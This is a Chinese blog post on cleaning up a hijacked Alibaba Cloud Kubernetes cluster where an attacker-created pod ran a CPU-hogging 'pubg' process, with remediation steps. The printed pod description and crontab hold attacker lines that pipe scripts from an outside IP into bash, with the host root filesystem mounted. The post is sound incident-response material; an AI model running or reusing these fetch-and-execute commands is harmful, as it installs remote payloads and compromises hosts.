zoukankan      html  css  js  c++  java
  • 阿里云kubernetes遭入侵pubg进程占用cpu资源100%解决方法

    发现服务器CPU占用100%,通过top命令发现pubg -c config.json -t 2占用CPU资源,kill进程会自动启动。黑客入侵方式是kubernetes创建pod。

    Name:           kube-api-zbplw
    Namespace:      default
    Node:           120.79.2.25/120.79.2.25
    Start Time:     Tue, 05 Dec 2017 16:45:03 +0800
    Labels:         <none>
    Status:         Succeeded
    IP:             172.17.36.4
    Controllers:    <none>
    Containers:
      centos:
        Container ID:       docker://c293e7063e2f9c38939d24f707cb752a0b76def937b3f30d784fe8202d14b01d
        Image:              centos
        Image ID:           docker-pullable://docker.io/centos@sha256:3b1a65e9a05f0a77b5e8a698d3359459904c2a354dc3b25ae2e2f5c95f0b3667
        Port:
        Command:
          /bin/sh
          -c
          /usr/bin/curl -s http://35.194.156.203/obi.sh | bash -s;sleep 120;cat /mnt/etc/crontab;echo 0
        State:              Terminated
          Reason:           Completed
          Exit Code:        0
          Started:          Wed, 06 Dec 2017 17:03:03 +0800
          Finished:         Wed, 06 Dec 2017 17:05:03 +0800
        Ready:              False
        Restart Count:      0
        Volume Mounts:
          /mnt from hahaha-volume (rw)
        Environment Variables:      <none>
    Conditions:
      Type          Status
      Initialized   True 
      Ready         False 
      PodScheduled  True 
    Volumes:
      hahaha-volume:
        Type:       HostPath (bare host directory volume)
        Path:       /
    QoS Class:      BestEffort
    Tolerations:    <none>
    Events:
      FirstSeen     LastSeen        Count   From                    SubObjectPath   Type            Reason          Message
      ---------     --------        -----   ----                    -------------   --------        ------          -------
      1d            24m             287     {kubelet 120.79.2.25}                   Warning         FailedSync      Error syncing pod, skipping: failed to "StartContainer" for "POD" with ErrImagePull: "image pull failed for registry.access.redhat.com/rhel7/pod-infrastructure:latest, this may be because there are no credentials on this request.  details: (open /etc/docker/certs.d/registry.access.redhat.com/redhat-ca.crt: no such file or directory)"

    解决方法

    1,删除pod

    kubectl delete pod kube-api-zbplw

    2,修改crontab配置。

    cat /etc/crontab 
    * * * * * root /usr/bin/curl -s http://35.194.156.203/steam.sh | /bin/bash -s

    3,关闭crontab,清除crontab配置,再kill pubg进程,问题解决。

    service crond stop
  • 相关阅读:
    工具网页地址
    invalid comparison: java.util.ArrayList and java.lang.String——bug解决办法
    打印csdn博客文章内容
    git 更新远程分支列表
    idea 配置 SpringBoot 热启动详解,和热启动失效解决方案
    MacOS下安装RabbitMQ
    Spring Boot Admin
    Navicat Premium Mac 12 破解
    sql查询不重复数据
    org.apache.commons.lang3 jar的使用 ArrayUtils
  • 原文地址:https://www.cnblogs.com/birdstudio/p/7988413.html
Copyright © 2011-2022 走看看